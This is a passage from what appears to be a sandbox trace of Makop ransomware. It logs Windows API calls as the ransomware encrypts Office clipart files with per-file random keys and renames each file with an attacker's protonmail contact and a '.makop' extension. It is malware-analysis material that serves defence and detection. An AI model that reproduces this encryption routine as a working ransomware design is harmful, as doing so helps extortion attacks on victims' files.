out: pbBuffer=0x48bdf90) returned 1 [0113.737] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.737] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.741] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.742] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.742] GetProcessHeap () returned 0x48a0000 [0113.742] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.742] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.742] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.742] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.742] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.742] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.742] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.742] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.743] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.743] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.743] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.743] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.743] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x488, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x488, lpOverlapped=0x0) returned 1 [0113.743] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x490, dwBufLen=0x490 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x490) returned 1 [0113.743] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.743] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x490, lpOverlapped=0x0) returned 1 [0113.743] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.744] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.744] SetEndOfFile (hFile=0xf0) returned 1 [0113.750] GetProcessHeap () returned 0x48a0000 [0113.750] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.750] GetProcessHeap () returned 0x48a0000 [0113.750] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.750] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.751] CloseHandle (hObject=0xf0) returned 1 [0113.751] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e1a200, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49e1a200, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01196_.WMF", cAlternateFileName="")) returned 1 [0113.751] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0113.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.752] GetProcessHeap () returned 0x48a0000 [0113.752] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.752] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.752] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.752] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.756] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.757] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.757] GetProcessHeap () returned 0x48a0000 [0113.757] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.757] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.757] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.757] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.757] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.757] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.757] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.757] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.758] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.758] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.758] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.758] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.758] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x91c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x91c, lpOverlapped=0x0) returned 1 [0113.758] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x920, dwBufLen=0x920 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x920) returned 1 [0113.758] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.758] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x920, lpOverlapped=0x0) returned 1 [0113.759] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.759] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.759] SetEndOfFile (hFile=0xf0) returned 1 [0113.765] GetProcessHeap () returned 0x48a0000 [0113.765] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.765] GetProcessHeap () returned 0x48a0000 [0113.765] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.765] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.766] CloseHandle (hObject=0xf0) returned 1 [0113.766] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cfde00, ftCreationTime.dwHighDateTime=0x1bf3242, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80cfde00, ftLastWriteTime.dwHighDateTime=0x1bf3242, nFileSizeHigh=0x0, nFileSizeLow=0x284c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01548_.WMF", cAlternateFileName="")) returned 1 [0113.767] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0113.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.767] GetProcessHeap () returned 0x48a0000 [0113.767] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.767] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.767] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.768] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.772] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.772] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.772] GetProcessHeap () returned 0x48a0000 [0113.772] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.772] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.773] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.773] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.773] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.773] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.773] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.773] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.773] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.773] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.773] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.773] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.774] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x284c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x284c, lpOverlapped=0x0) returned 1 [0113.778] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2850, dwBufLen=0x2850 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2850) returned 1 [0113.778] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.778] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2850, lpOverlapped=0x0) returned 1 [0113.778] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.778] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.779] SetEndOfFile (hFile=0xf0) returned 1 [0113.786] GetProcessHeap () returned 0x48a0000 [0113.786] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.786] GetProcessHeap () returned 0x48a0000 [0113.786] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.786] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.786] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.787] CloseHandle (hObject=0xf0) returned 1 [0113.788] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4fe7000, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4fe7000, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x76ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01657_.WMF", cAlternateFileName="")) returned 1 [0113.788] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0113.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.788] GetProcessHeap () returned 0x48a0000 [0113.788] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.789] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.789] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.789] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0113.793] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.793] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.793] GetProcessHeap () returned 0x48a0000 [0113.793] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.793] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.793] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.793] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.793] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.793] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.793] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.794] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.794] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.794] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.794] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.794] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.794] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x76ce, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x76ce, lpOverlapped=0x0) returned 1 [0113.796] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x76d0, dwBufLen=0x76d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x76d0) returned 1 [0113.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.796] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x76d0, lpOverlapped=0x0) returned 1 [0113.797] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.797] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x77a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.797] SetEndOfFile (hFile=0xf0) returned 1 [0113.804] GetProcessHeap () returned 0x48a0000 [0113.805] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.805] GetProcessHeap () returned 0x48a0000 [0113.805] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.805] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.805] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.806] CloseHandle (hObject=0xf0) returned 1 [0113.807] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb44f00, ftCreationTime.dwHighDateTime=0x1bd4c0c, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4eb44f00, ftLastWriteTime.dwHighDateTime=0x1bd4c0c, nFileSizeHigh=0x0, nFileSizeLow=0x4604, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01658_.WMF", cAlternateFileName="")) 